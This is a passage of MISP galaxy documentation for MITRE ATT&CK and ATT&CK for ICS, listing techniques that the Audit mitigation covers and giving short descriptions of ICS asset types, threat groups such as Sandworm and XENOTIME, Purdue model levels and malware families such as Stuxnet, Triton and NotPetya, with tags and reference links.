• mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Store - T1634" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"

Table 6244. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1002">https://attack.mitre.org/mitigations/M1002</a></td>
</tr>
</tbody>
</table>

Audit - M1047

Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

The tag is: misp-galaxy:mitre-course-of-action="Audit - M1047"

View relationships graph

Audit - M1047 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578"
• mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="AS-REP Roasting - T1558.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"
• mitigates: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Linux Audit System - T1562.012" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Network Provider DLL - T1556.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Chat Messages - T1552.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Configurations - T1578.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with
• mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Power Settings - T1653" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 6245. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1047">https://attack.mitre.org/mitigations/M1047</a></td>
</tr>
</tbody>
</table>

**Assets**

A list of asset categories that are commonly found in industrial control systems.

Assets is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

MITRE

**Control Server**

A device which acts as both a server and controller, that hosts the control software used in communicating with lower-level control devices in an ICS network (e.g. Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs)).
**Data Historian**

A centralized database located on a computer installed in the control system DMZ supporting external corporate user data access for archival and analysis using statistical process control and other techniques.

**Engineering Workstation**

The engineering workstation is usually a high-end very reliable computing platform designed for configuration, maintenance and diagnostics of the control system applications and other control system equipment. The system is usually made up of redundant hard disk drives, high speed network interface, reliable CPUs, performance graphics hardware, and applications that provide configuration and monitoring tools to perform control system application development, compilation and distribution of system modifications.

**Field Controller/RTU/PLC/IED**

Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications.
Table 6249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions">https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

**Human-Machine Interface**

In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator) using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: Graphical user interfaces (GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. Web-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). The system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information and control interface to operations users, engineering users and management users.

The tag is: misp-galaxy:mitre-ics-assets="Human-Machine Interface"

Table 6250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions">https://ics-cert.us-cert.gov/Secure-Architecture-Design-Definitions</a></td>
</tr>
</tbody>
</table>

**Input/Output Server**

The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.

The tag is: misp-galaxy:mitre-ics-assets="Input/Output Server"
Safety Instrumented System/Protection Relay

A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.

The tag is: `misp-galaxy:mitre-ics-assets="Safety Instrumented System/Protection Relay"`

Table 6252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Groups

Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions.

Groups is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

ALLANITE

ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group’s tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE’s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.

The tag is: `misp-galaxy:mitre-ics-groups="ALLANITE"`

View relationships graph

ALLANITE has relationships with:
APT33

APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.

The tag is: `misp-galaxy:mitre-ics-groups="APT33"`

View relationships graph

APT33 has relationships with:

- similar: `misp-galaxy:threat-actor="APT33"` with estimative-language:likelihood-probability="almost-certain"

Dragonfly

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.
Dragonfly 2.0

Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.

HEXANE

HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.
Lazarus group

Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017. While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: misp-galaxy:mitre-ics-groups="Lazarus group"

View relationships graph

Lazarus group has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="almost-certain"

Table 6258. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/resource/covellite/">https://dragos.com/resource/covellite/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-132A">https://www.us-cert.gov/ncas/alerts/TA17-132A</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-164A">https://www.us-cert.gov/ncas/alerts/TA17-164A</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos">https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group">https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group</a></td>
<td></td>
</tr>
</tbody>
</table>
Leafminer

Leafminer is a threat group that has targeted Saudi Arabia, Japan, Europe and the United States. Within the US, Leafminer has targeted electric utilities and initial access into those organizations. Reporting indicates that Leafminer has not demonstrated ICS specific or destructive capabilities.

The tag is: misp-galaxy:mitre-ics-groups="Leafminer"

---

### OilRig

OilRig is a suspected Iranian threat group that has targeted the financial, government, energy, chemical, and telecommunication sectors as well as petrochemical, oil & gas. OilRig has been observed operating in Iraq, Pakistan, Israel, and the UK, and has been linked to the Shamoon attacks in 2012 on Saudi Aramco.

The tag is: misp-galaxy:mitre-ics-groups="OilRig"

---

**View relationships graph**

OilRig has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="almost-certain"

---

**Table 6259. Table References**

**Links**

- https://dragos.com/resource/raspite/

---

**Table 6260. Table References**

**Links**

- https://www.fireeye.com/current-threats/apt-groups.html#apt34
- https://dragos.com/resource/chrysene/
- https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
- https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
Sandworm

Sandworm is a threat group associated with the Kiev, Ukraine electrical transmission substation attacks which resulted in the impact of electric grid operations on December 17th, 2016. Sandworm has been cited as the authors of the Industroyer malware which was used in the 2016 Ukraine attacks.

The tag is: misp-galaxy:mitre-ics-groups="Sandworm"

View relationships graph

Sandworm has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="almost-certain"

Table 6261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/resource/electrum/">https://dragos.com/resource/electrum/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/crashoverride/CrashOverride-01.pdf">https://dragos.com/blog/crashoverride/CrashOverride-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html">https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B">https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B">https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B</a></td>
</tr>
</tbody>
</table>

XENOTIME

XENOTIME is a threat group that has targeted and compromised industrial systems, specifically safety instrumented systems that are designed to provide safety and protective functions. Xenotime has previously targeted oil & gas, as well as electric sectors within the Middle east, Europe, and North America. Xenotime has also been reported to target ICS vendors, manufacturers, and organizations in the middle east. This group is one of the few with reported destructive capabilities.

The tag is: misp-galaxy:mitre-ics-groups="XENOTIME"

Table 6262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/resource/xenotime/">https://dragos.com/resource/xenotime/</a></td>
</tr>
</tbody>
</table>
Levels

Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment.

Levels is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

Level 0

The I/O network level includes the actual physical processes and sensors and actuators that are directly connected to process equipment.

The tag is: misp-galaxy:mitre-ics-levels="Level 0"

Level 1

The control network level includes the functions involved in sensing and manipulating physical processes. Typical devices at this level are programmable logic controllers (PLCs), distributed control systems, safety instrumented systems and remote terminal units (RTUs).

The tag is: misp-galaxy:mitre-ics-levels="Level 1"

Level 2

The supervisory control LAN level includes the functions involved in monitoring and controlling physical processes and the general deployment of systems such as human-machine interfaces (HMIs), engineering workstations and historians.

The tag is: misp-galaxy:mitre-ics-levels="Level 2"

Software

Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS.

Software is a cluster galaxy available in JSON format at this location. The JSON...
format can be freely reused in your application or automatically enabled in MISP.

authors
MITRE

ACAD/Medre.A

ACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.

The tag is: misp-galaxy:mitre-ics-software="ACAD/Medre.A"

Backdoor.Oldrea, Havex

Backdoor.Oldrea is a Remote Access Trojan (RAT) that communicates with a Command and Control (C2) server. The C2 server can deploy payloads that provide additional functionality. One payload has been identified and analyzed that enumerates all connected network resources, such as computers or shared resources, and uses the classic DCOM-based (Distributed Component Object Model) version of the Open Platform Communications (OPC) standard to gather information about connected control system devices and resources within the network.

The tag is: misp-galaxy:mitre-ics-software="Backdoor.Oldrea, Havex"

Bad Rabbit, Diskcoder.D

Bad Rabbit is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine.
**BlackEnergy 3**

BlackEnergy 3 is a malware toolkit that has been used by both criminal and APT actors. It supports various plug-ins, including a variant of KillDisk. It is known to have been used against the Ukrainian power grid.

The tag is: `misp-galaxy:mitre-ics-software="BlackEnergy 3"`

**Conficker**

Conficker is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant.

The tag is: `misp-galaxy:mitre-ics-software="Conficker"`

**Duqu**

Duqu is a collection of computer malware discovered in 2011. It is reportedly related to the Stuxnet worm, although Duqu is not self-replicating.

The tag is: `misp-galaxy:mitre-ics-software="Duqu"`
Flame

Flame is an attacker-instructed worm which may open a backdoor and steal information from a compromised computer. Flame has the capability to be used for industrial espionage.

The tag is: misp-galaxy:mitre-ics-software="Flame"

Table 6269. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2012/05/flamerskywiper-analysis.html">https://www.fireeye.com/blog/threat-research/2012/05/flamerskywiper-analysis.html</a></td>
</tr>
</tbody>
</table>

Industroyer

Industroyer is a sophisticated piece of malware designed to cause an Impact to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations. Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.

The tag is: misp-galaxy:mitre-ics-software="Industroyer"

Table 6270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/blog/crashoverride/CrashOverride-01.pdf">https://dragos.com/blog/crashoverride/CrashOverride-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-163A">https://www.us-cert.gov/ncas/alerts/TA17-163A</a></td>
</tr>
</tbody>
</table>

KillDisk

In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk’s main functionality is to overwrite files with random data, rendering the OS unbootable.

The tag is: misp-galaxy:mitre-ics-software="KillDisk"

Table 6271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**LockerGoga**

LockerGoga is ransomware that has been tied to various attacks on industrial and manufacturing firms with apparently catastrophic consequences.

The tag is: `misp-galaxy:mitre-ics-software="LockerGoga"`

**Table 6272. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wired.com/story/lockergoga-ransomware-cripping-industrial-firms/">https://www.wired.com/story/lockergoga-ransomware-cripping-industrial-firms/</a></td>
</tr>
<tr>
<td><a href="https://www.hydro.com/en/media/on-the-agenda/cyber-attack/">https://www.hydro.com/en/media/on-the-agenda/cyber-attack/</a></td>
</tr>
</tbody>
</table>

**NotPetya**

NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.

The tag is: `misp-galaxy:mitre-ics-software="NotPetya"`

**Table 6273. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0368/">https://attack.mitre.org/software/S0368/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/">https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/</a></td>
</tr>
<tr>
<td><a href="https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war">https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war</a></td>
</tr>
</tbody>
</table>

**PLC-Blaster**

PLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many
modules.

The tag is: `misp-galaxy:mitre-ics-software="PLC-Blaster"`

Table 6274. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ryuk**

Ryuk is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.

The tag is: `misp-galaxy:mitre-ics-software="Ryuk"`

Table 6275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Stuxnet**

Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.

The tag is: `misp-galaxy:mitre-ics-software="Stuxnet"`

Table 6276. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B">https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B</a></td>
</tr>
<tr>
<td><a href="https://scadahacker.com/resources/stuxnet-mitigation.html">https://scadahacker.com/resources/stuxnet-mitigation.html</a></td>
</tr>
</tbody>
</table>

**Triton**

Triton is an attack framework built to interact with Triconex Safety Instrumented System (SIS)
controllers

The tag is: `misp-galaxy:mitre-ics-software="Triton"

**Table 6277. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/blog/trisis/TRISIS-01.pdf">https://dragos.com/blog/trisis/TRISIS-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=f09E75bWvkk&amp;index=3&amp;list=PL8OWO1qW">https://www.youtube.com/watch?v=f09E75bWvkk&amp;index=3&amp;list=PL8OWO1qW</a> XF4qYG19p7An4Vw3N2YZ86aRS&amp;t=0s</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=XwSJ8hloGvY">https://www.youtube.com/watch?v=XwSJ8hloGvY</a></td>
</tr>
<tr>
<td><a href="https://www,midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware">https://www,midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02">https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02</a></td>
</tr>
<tr>
<td><a href="https://cwe.mitre.org/data/definitions/119.html">https://cwe.mitre.org/data/definitions/119.html</a></td>
</tr>
<tr>
<td><a href="https://www.nrc.gov/docs/ML1209/ML120900890.pdf">https://www.nrc.gov/docs/ML1209/ML120900890.pdf</a></td>
</tr>
</tbody>
</table>

**VPNFilter**

VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer (‘ps’) can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.

The tag is: `misp-galaxy:mitre-ics-software="VPNFilter"

**Table 6278. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
